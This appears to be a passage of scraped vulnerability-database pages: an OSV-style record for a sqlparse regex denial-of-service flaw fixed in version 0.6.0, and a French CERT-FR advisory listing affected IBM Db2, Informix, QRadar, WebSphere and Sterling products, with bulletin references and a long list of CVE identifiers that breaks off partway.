	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/andialbrecht/sqlparse/security…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-59893	ADVISORY
	https://github.com/andialbrecht/sqlparse/commit/d…	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "0.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "sqlparse",
        "purl": "pkg:brew/sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/andialbrecht/sqlparse",
        "name": "https://github.com/andialbrecht/sqlparse",
        "strategy": "git",
        "subject_version": "0.6.0"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/sqlparse@0.6.0",
        "name": "sqlparse",
        "strategy": "registry",
        "subject_version": "0.6.0"
      },
      {
        "ecosystem": "Debian",
        "key": "Debian/sqlparse",
        "name": "sqlparse",
        "strategy": "distro"
      },
      {
        "ecosystem": "GIT",
        "key": "upstream:https://github.com/andialbrecht/sqlparse",
        "name": "https://github.com/andialbrecht/sqlparse",
        "strategy": "distro",
        "subject_version": "0.6.0"
      },
      {
        "ecosystem": "PyPI",
        "key": "upstream:pkg:pypi/sqlparse@0.6.0",
        "name": "sqlparse",
        "strategy": "distro",
        "subject_version": "0.6.0"
      },
      {
        "ecosystem": "Ubuntu",
        "key": "Ubuntu/sqlparse",
        "name": "sqlparse",
        "strategy": "distro"
      }
    ]
  },
  "details": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.",
  "id": "BREW-sqlparse-CVE-2026-59893",
  "modified": "2026-09-10T01:21:20Z",
  "published": "2026-08-18T09:42:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59893.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
    },
    {
      "type": "FIX",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)",
  "upstream": [
    "CVE-2026-59893",
    "GHSA-prg7-hcfm-mfcr",
    "PYSEC-2026-3698"
  ]
}

CERTFR-2026-AVI-1165

Vulnerability from certfr_avis - Published: 2026-09-11 - Updated: 2026-09-11

De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

Vendor	Product	Description
IBM	Db2	Db2 Common Container sans le correctif de sécurité 1159cn3
IBM	Informix Dynamic Server	Informix Dynamic Server versions 15.0.x antérieures à 15.0.1.14
IBM	QRadar Hub	QRadar Hub versions antérieures à 3.9.1
IBM	WebSphere Application Server	WebSphere Application Server Liberty versions antérieures à 26.0.0.10 (disponibilité prévue pour le quatrième trimestre 2026)
IBM	Informix Dynamic Server	Informix Dynamic Server versions 12.10 antérieures à InformixHQ 3.3.1
IBM	Informix Dynamic Server	Informix Dynamic Server versions 14.10.x antérieures à 14.10.xC14
IBM	Db2	Db2 versions V11.5.x sans le correctif de sécurité DT495924, DT474170, DT495462, DT470425 et DT501356
IBM	Sterling Partner Engagement Manager Essentials Edition	Sterling Partner Engagement Manager Essentials Edition versions 6.2.4.x antérieures à 6.2.4.5
IBM	Db2	Db2 Bridge versions antérieures à 1.1.5.2
IBM	Db2	Db2 Warehouse on Cloud Pak for Data versions antérieures à v5.4 patch 6
IBM	Sterling Partner Engagement Manager Standard Edition	Sterling Partner Engagement Manager Standard Edition versions 6.2.4.x antérieures à 6.2.4.5
IBM	Db2	Db2 Developer Extension versions 1.1.x antérieures à 1.1.2
IBM	Sterling Partner Engagement Manager Essentials Edition	Sterling Partner Engagement Manager Essentials Edition versions 6.3.0.x antérieures à 6.3.0.3
IBM	Db2	Db2 on Cloud Pak for Data versions antérieures à v5.4 patch 6
IBM	Db2	Db2 versions V12.1 sans le correctif de sécurité DT495924, DT495462 et DT474170

References

Title

Publication Time

Tags

Bulletin de sécurité IBM 7286777	2026-09-09	vendor-advisory
Bulletin de sécurité IBM 7286776	2026-09-09	vendor-advisory
Bulletin de sécurité IBM 7286990	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7286976	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7286993	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7286782	2026-09-09	vendor-advisory
Bulletin de sécurité IBM 7286515	2026-09-07	vendor-advisory
Bulletin de sécurité IBM 7286646	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7287136	2026-09-11	vendor-advisory
Bulletin de sécurité IBM 7286986	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7286982	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7286775	2026-09-09	vendor-advisory
Bulletin de sécurité IBM 7286987	2026-09-10	vendor-advisory
Bulletin de sécurité IBM 7286910	2026-09-09	vendor-advisory
Bulletin de sécurité IBM 7286516	2026-09-07	vendor-advisory
Bulletin de sécurité IBM 7286909	2026-09-09	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Db2 Common Container sans le correctif de s\u00e9curit\u00e9 1159cn3",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Informix Dynamic Server versions 15.0.x ant\u00e9rieures \u00e0 15.0.1.14",
      "product": {
        "name": "Informix Dynamic Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar Hub versions ant\u00e9rieures \u00e0 3.9.1",
      "product": {
        "name": "QRadar Hub",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "WebSphere Application Server Liberty versions ant\u00e9rieures \u00e0 26.0.0.10 (disponibilit\u00e9 pr\u00e9vue pour le quatri\u00e8me trimestre 2026)",
      "product": {
        "name": "WebSphere Application Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Informix Dynamic Server versions 12.10 ant\u00e9rieures \u00e0 InformixHQ 3.3.1",
      "product": {
        "name": "Informix Dynamic Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Informix Dynamic Server versions 14.10.x ant\u00e9rieures \u00e0 14.10.xC14",
      "product": {
        "name": "Informix Dynamic Server",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 versions V11.5.x sans le correctif de s\u00e9curit\u00e9 DT495924, DT474170, DT495462, DT470425 et DT501356",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Partner Engagement Manager Essentials Edition versions 6.2.4.x ant\u00e9rieures \u00e0 6.2.4.5",
      "product": {
        "name": "Sterling Partner Engagement Manager Essentials Edition",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 Bridge versions ant\u00e9rieures \u00e0 1.1.5.2",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 Warehouse on Cloud Pak for Data versions ant\u00e9rieures \u00e0 v5.4 patch 6",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Partner Engagement Manager Standard Edition versions 6.2.4.x ant\u00e9rieures \u00e0 6.2.4.5",
      "product": {
        "name": "Sterling Partner Engagement Manager Standard Edition",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 Developer Extension versions 1.1.x ant\u00e9rieures \u00e0 1.1.2",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling Partner Engagement Manager Essentials Edition versions 6.3.0.x ant\u00e9rieures \u00e0 6.3.0.3",
      "product": {
        "name": "Sterling Partner Engagement Manager Essentials Edition",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 on Cloud Pak for Data versions ant\u00e9rieures \u00e0 v5.4 patch 6",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Db2 versions V12.1 sans le correctif de s\u00e9curit\u00e9 DT495924, DT495462 et DT474170",
      "product": {
        "name": "Db2",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-75595",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
    },
    {
      "name": "CVE-2026-49978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
    },
    {
      "name": "CVE-2024-40931",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40931"
    },
    {
      "name": "CVE-2023-52471",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52471"
    },
    {
      "name": "CVE-2026-5588",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5588"
    },
    {
      "name": "CVE-2021-33036",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-33036"
    },
    {
      "name": "CVE-2021-44906",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-44906"
    },
    {
      "name": "CVE-2026-54264",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54264"
    },
    {
      "name": "CVE-2024-50142",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50142"
    },
    {
      "name": "CVE-2026-59651",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59651"
    },
    {
      "name": "CVE-2026-45819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45819"
    },
    {
      "name": "CVE-2024-46826",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46826"
    },
    {
      "name": "CVE-2024-42070",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42070"
    },
    {
      "name": "CVE-2024-36889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36889"
    },
    {
      "name": "CVE-2023-52675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52675"
    },
    {
      "name": "CVE-2024-35810",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35810"
    },
    {
      "name": "CVE-2026-50557",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50557"
    },
    {
      "name": "CVE-2024-41093",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41093"
    },
    {
      "name": "CVE-2026-59295",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59295"
    },
    {
      "name": "CVE-2023-52834",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52834"
    },
    {
      "name": "CVE-2024-38627",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38627"
    },
    {
      "name": "CVE-2023-43642",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-43642"
    },
    {
      "name": "CVE-2021-21409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-21409"
    },
    {
      "name": "CVE-2023-52622",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52622"
    },
    {
      "name": "CVE-2018-14042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-14042"
    },
    {
      "name": "CVE-2024-35939",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35939"
    },
    {
      "name": "CVE-2025-2534",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2534"
    },
    {
      "name": "CVE-2024-38555",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38555"
    },
    {
      "name": "CVE-2024-41009",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41009"
    },
    {
      "name": "CVE-2026-41254",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41254"
    },
    {
      "name": "CVE-2024-36921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36921"
    },
    {
      "name": "CVE-2024-36939",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36939"
    },
    {
      "name": "CVE-2024-39503",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39503"
    },
    {
      "name": "CVE-2024-26656",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26656"
    },
    {
      "name": "CVE-2024-42246",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42246"
    },
    {
      "name": "CVE-2024-26614",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26614"
    },
    {
      "name": "CVE-2026-16480",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16480"
    },
    {
      "name": "CVE-2018-1334",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1334"
    },
    {
      "name": "CVE-2023-52762",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52762"
    },
    {
      "name": "CVE-2024-26974",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26974"
    },
    {
      "name": "CVE-2024-40988",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40988"
    },
    {
      "name": "CVE-2026-32990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32990"
    },
    {
      "name": "CVE-2024-26595",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26595"
    },
    {
      "name": "CVE-2026-50645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50645"
    },
    {
      "name": "CVE-2026-22610",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22610"
    },
    {
      "name": "CVE-2024-42292",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42292"
    },
    {
      "name": "CVE-2026-42041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
    },
    {
      "name": "CVE-2014-125087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2014-125087"
    },
    {
      "name": "CVE-2026-14686",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14686"
    },
    {
      "name": "CVE-2026-68763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
    },
    {
      "name": "CVE-2023-1370",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-1370"
    },
    {
      "name": "CVE-2026-45416",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
    },
    {
      "name": "CVE-2024-36904",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36904"
    },
    {
      "name": "CVE-2023-52845",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52845"
    },
    {
      "name": "CVE-2023-33201",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-33201"
    },
    {
      "name": "CVE-2026-10050",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10050"
    },
    {
      "name": "CVE-2024-27010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27010"
    },
    {
      "name": "CVE-2024-42284",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42284"
    },
    {
      "name": "CVE-2024-35912",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35912"
    },
    {
      "name": "CVE-2021-47432",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47432"
    },
    {
      "name": "CVE-2026-53666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53666"
    },
    {
      "name": "CVE-2024-25739",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25739"
    },
    {
      "name": "CVE-2026-59648",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59648"
    },
    {
      "name": "CVE-2026-69153",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
    },
    {
      "name": "CVE-2026-3621",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3621"
    },
    {
      "name": "CVE-2026-43515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43515"
    },
    {
      "name": "CVE-2026-42402",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42402"
    },
    {
      "name": "CVE-2021-47304",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47304"
    },
    {
      "name": "CVE-2024-35807",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35807"
    },
    {
      "name": "CVE-2022-48632",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48632"
    },
    {
      "name": "CVE-2026-43868",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43868"
    },
    {
      "name": "CVE-2026-50560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
    },
    {
      "name": "CVE-2024-26586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26586"
    },
    {
      "name": "CVE-2024-41060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41060"
    },
    {
      "name": "CVE-2015-5237",
      "url": "https://www.cve.org/CVERecord?id=CVE-2015-5237"
    },
    {
      "name": "CVE-2026-71290",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71290"
    },
    {
      "name": "CVE-2019-10099",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-10099"
    },
    {
      "name": "CVE-2024-26585",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26585"
    },
    {
      "name": "CVE-2026-41716",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41716"
    },
    {
      "name": "CVE-2018-11760",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-11760"
    },
    {
      "name": "CVE-2026-15328",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15328"
    },
    {
      "name": "CVE-2026-59645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59645"
    },
    {
      "name": "CVE-2022-45688",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-45688"
    },
    {
      "name": "CVE-2024-26961",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26961"
    },
    {
      "name": "CVE-2024-38608",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38608"
    },
    {
      "name": "CVE-2024-23944",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-23944"
    },
    {
      "name": "CVE-2022-33891",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-33891"
    },
    {
      "name": "CVE-2024-50275",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50275"
    },
    {
      "name": "CVE-2026-13006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13006"
    },
    {
      "name": "CVE-2024-26638",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26638"
    },
    {
      "name": "CVE-2018-8024",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-8024"
    },
    {
      "name": "CVE-2021-47284",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47284"
    },
    {
      "name": "CVE-2024-27397",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27397"
    },
    {
      "name": "CVE-2024-49350",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-49350"
    },
    {
      "name": "CVE-2022-48619",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48619"
    },
    {
      "name": "CVE-2024-46679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46679"
    },
    {
      "name": "CVE-2025-66412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66412"
    },
    {
      "name": "CVE-2025-36131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36131"
    },
    {
      "name": "CVE-2024-36945",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36945"
    },
    {
      "name": "CVE-2023-52653",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52653"
    },
    {
      "name": "CVE-2026-54514",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
    },
    {
      "name": "CVE-2023-52756",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52756"
    },
    {
      "name": "CVE-2024-40924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40924"
    },
    {
      "name": "CVE-2018-14040",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-14040"
    },
    {
      "name": "CVE-2024-35854",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35854"
    },
    {
      "name": "CVE-2024-28757",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-28757"
    },
    {
      "name": "CVE-2026-77414",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77414"
    },
    {
      "name": "CVE-2020-11988",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-11988"
    },
    {
      "name": "CVE-2021-46939",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-46939"
    },
    {
      "name": "CVE-2025-56200",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-56200"
    },
    {
      "name": "CVE-2024-37071",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-37071"
    },
    {
      "name": "CVE-2026-77413",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77413"
    },
    {
      "name": "CVE-2023-52878",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52878"
    },
    {
      "name": "CVE-2026-54399",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54399"
    },
    {
      "name": "CVE-2026-53668",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53668"
    },
    {
      "name": "CVE-2024-41038",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41038"
    },
    {
      "name": "CVE-2025-30065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-30065"
    },
    {
      "name": "CVE-2026-16243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16243"
    },
    {
      "name": "CVE-2016-4055",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-4055"
    },
    {
      "name": "CVE-2026-9171",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9171"
    },
    {
      "name": "CVE-2026-67214",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67214"
    },
    {
      "name": "CVE-2024-37356",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-37356"
    },
    {
      "name": "CVE-2022-48743",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48743"
    },
    {
      "name": "CVE-2024-25638",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25638"
    },
    {
      "name": "CVE-2026-12185",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12185"
    },
    {
      "name": "CVE-2026-59921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
    },
    {
      "name": "CVE-2024-47118",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47118"
    },
    {
      "name": "CVE-2024-35824",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35824"
    },
    {
      "name": "CVE-2026-47010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47010"
    },
    {
      "name": "CVE-2023-45853",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-45853"
    },
    {
      "name": "CVE-2024-26704",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26704"
    },
    {
      "name": "CVE-2024-35925",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35925"
    },
    {
      "name": "CVE-2023-45288",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-45288"
    },
    {
      "name": "CVE-2024-36886",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36886"
    },
    {
      "name": "CVE-2024-26976",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26976"
    },
    {
      "name": "CVE-2026-14685",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14685"
    },
    {
      "name": "CVE-2023-52803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52803"
    },
    {
      "name": "CVE-2023-45178",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-45178"
    },
    {
      "name": "CVE-2026-54171",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54171"
    },
    {
      "name": "CVE-2024-21823",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-21823"
    },
    {
      "name": "CVE-2022-31160",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-31160"
    },
    {
      "name": "CVE-2021-47441",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47441"
    },
    {
      "name": "CVE-2020-10683",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-10683"
    },
    {
      "name": "CVE-2018-1273",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1273"
    },
    {
      "name": "CVE-2026-41239",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41239"
    },
    {
      "name": "CVE-2024-26600",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26600"
    },
    {
      "name": "CVE-2026-33814",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
    },
    {
      "name": "CVE-2023-28746",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-28746"
    },
    {
      "name": "CVE-2026-47891",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47891"
    },
    {
      "name": "CVE-2023-52847",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52847"
    },
    {
      "name": "CVE-2024-42114",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42114"
    },
    {
      "name": "CVE-2020-26945",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-26945"
    },
    {
      "name": "CVE-2023-52864",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52864"
    },
    {
      "name": "CVE-2024-50302",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50302"
    },
    {
      "name": "CVE-2026-68569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
    },
    {
      "name": "CVE-2026-59084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
    },
    {
      "name": "CVE-2026-65183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
    },
    {
      "name": "CVE-2024-35897",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35897"
    },
    {
      "name": "CVE-2026-14257",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14257"
    },
    {
      "name": "CVE-2026-41901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41901"
    },
    {
      "name": "CVE-2026-73088",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73088"
    },
    {
      "name": "CVE-2023-52478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52478"
    },
    {
      "name": "CVE-2024-23945",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-23945"
    },
    {
      "name": "CVE-2021-41182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-41182"
    },
    {
      "name": "CVE-2024-38596",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38596"
    },
    {
      "name": "CVE-2022-25647",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-25647"
    },
    {
      "name": "CVE-2026-9072",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9072"
    },
    {
      "name": "CVE-2022-26612",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-26612"
    },
    {
      "name": "CVE-2024-36929",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36929"
    },
    {
      "name": "CVE-2024-26802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26802"
    },
    {
      "name": "CVE-2026-18097",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18097"
    },
    {
      "name": "CVE-2024-40904",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40904"
    },
    {
      "name": "CVE-2024-42084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42084"
    },
    {
      "name": "CVE-2021-47455",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47455"
    },
    {
      "name": "CVE-2023-52492",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52492"
    },
    {
      "name": "CVE-2022-36364",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-36364"
    },
    {
      "name": "CVE-2026-73089",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73089"
    },
    {
      "name": "CVE-2023-34610",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-34610"
    },
    {
      "name": "CVE-2026-47057",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47057"
    },
    {
      "name": "CVE-2024-47561",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47561"
    },
    {
      "name": "CVE-2023-52669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52669"
    },
    {
      "name": "CVE-2024-36883",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36883"
    },
